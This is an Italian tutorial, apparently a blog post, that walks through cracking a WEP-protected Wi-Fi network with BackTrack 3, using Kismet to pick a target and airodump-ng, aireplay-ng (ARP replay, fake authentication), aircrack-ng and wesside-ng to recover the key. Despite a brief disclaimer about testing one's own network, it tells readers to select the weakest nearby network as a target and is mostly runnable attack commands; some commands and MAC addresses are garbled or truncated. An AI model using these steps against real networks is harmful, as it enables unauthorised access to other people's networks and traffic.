

Oggi tratterò un argomento un pò particolare... craccare

una rete wi-fi con chiave WEP

Prima di tutto tengo a precisare che l'uso che si fa delle conoscenze dipende dalla persona...quindi questa guida non vuole assolutamente incitare nessuno all'uso illegale di queste tecniche, quindi per i vari test che farete vi consiglio di usare la vostra rete wi-fi! In questo modo potrete verificare con quanta facilità si riesce ad avere accesso ad una rete protetta....

Detto questo preambolo d'obbligo...adesso è arrivato il momento di divertirsi....

Ho scelto di utilizzare una distro con già installato tutto quello di cui avremo bisogno: **Backtrack 3**, ma comunque tengo a precisare che i programmi in questione si possono scaricare nella maggior parte delle distro...quindi nessun problema!

Avviamo la nostra Backtrack in modalità live (per esempio da USB)...possiamo seguire questa [guida qua](#).

I passi da seguire sono i seguenti:

Individuare un bersaglio, rete più debole con protezione più bassa

- Avviamo **Kismet: K→backtrack→Radio Network Analysis→80211→Analyser→Kismet**
- Ordiniamo le reti: premiamo **S** e poi **Q**, la rete più in alto è quella con il segnale più forte, selezioniamo quella in cima e premiamo invio.
- Informazioni: comparirà una lunga serie di dati sull'access point. Le linee da leggere sono **SSID, BSSID, Channel, Encrypt**, per uscire **q** e poi **Q**. (consiglio di appuntarsi questi dati)

Impostare la scheda di rete del pc in Monitor Mode (Kismet lo fa in automatico ma se lo chiudiamo dobbiamo farlo manualmente)

- Apriamo un terminale, eseguiamo **airmon-ng** per individuare l'interfaccia della scheda di rete.
- Eseguiamo **airmon-ng stop eth0** (se è eth0 la vostra interfaccia di rete)
- Eseguiamo **airmon-ng start eth0 11**, così facendo abbiamo abilitato la modalità monitor, 11 è il canale (Channel) utilizzato dall'access point bersaglio, canale che abbiamo scritto precedentemente su un foglio.

Catturiamo il traffico:

- Eseguiamo: **airodump-ng -c 11 -bssid 00:80:5A:47 -ivs -w wep eth0** chiaramente dobbiamo sostituire con i valori appropriati che abbiamo sul nostro pc/access point;

11: numero di canale (Channel)

00:80:5A:47: BSSID dell'access point

-ivs: catturiamo solo i pacchetti iv

wep: suffisso del file (verrà creato un file wep-01.ivs)

- Adesso dobbiamo tener conto della colonna **#Data** che sono il numero di **iv** catturati

Velocizziamo la cattura degli iv (Arp Request Replay)

- Apriamo una shell senza chiudere quella di airodump-ng, scriviamo il comando:

```
root@backtrack:~# airmon-ng start eth0 11
root@backtrack:~# airodump-ng -c 11 -bssid 00:80:5A:47 -ivs -w wep eth0
```

aireplay-ng -s -b 00:80:5A:47 -n 00:13:Ce:C6 eth0 , cambiando con i valori appropriati

-3: indica di usare l'attacco arp request replay

00:80:5A:47: MAC address dell'access point

00:13:Ce:C6: MAC del client associato alla rete **IMPORTANTE**: per conoscere il mac basta usare kismet, premere S e Q, selezionare il bersaglio e premere C

- Se non ci fossero client dobbiamo falsificarne uno:

ARP Request Replay con Fake Authentication

- eseguire da terminale:

aireplay-ng -1 0 -e SSID -a BSSID -h MACinterfaccia eth0

con i valori appropriati:

-1:indica al programma di effettuare una fake authentication

0: stabilisce il ritardo tra un attacco e il successivo

SSID:della rete bersaglio

BSSID: della rete bersaglio

MAC:della nostra scheda wi-fi

per acquisire il nostro mac...apriamo un terminale e diamo **ifconfig**

Per esempio:

aireplay-ng -1 0 -e wireless -a 00:80:5A:47:0B:01 -h 00:13:Ce:C6:05:53 eth0

Quando nella finestra di airodump-ng i pacchetti sono 100.000 possiamo iniziare a craccare.

Apriamo una nuova shell e scriviamo:

- **aircrack-ng -a 1 -b 00:80:5A:47 -n64 wep-01.ivs**

con i valori appropriati:

1: protocollo WEP

-n64: ricerca chiavi a 64 bit (se dopo migliaia di iv la chiave non viene trovata rifacciamo senza -64)

Se vogliamo possiamo provare il programma che potrebbe craccare la chiave in due minuti, si chiama: **wesside-ng**

wesside-ng -i interfaccia -a MAC -v BSSID

con valori appropriati:

interfaccia: la nostra interfaccia di rete

MAC: mac address della scheda

BSSID: access point bersaglio

La scheda deve essere in monitor mode



Bene! Siamo arrivati alla fine....non vi resta che provare l'emozione di vedere scritto **Key Found!!**

aspetto suggerimenti e pareri....la prossima volta vedremo di **craccare le chiavi WAP!!**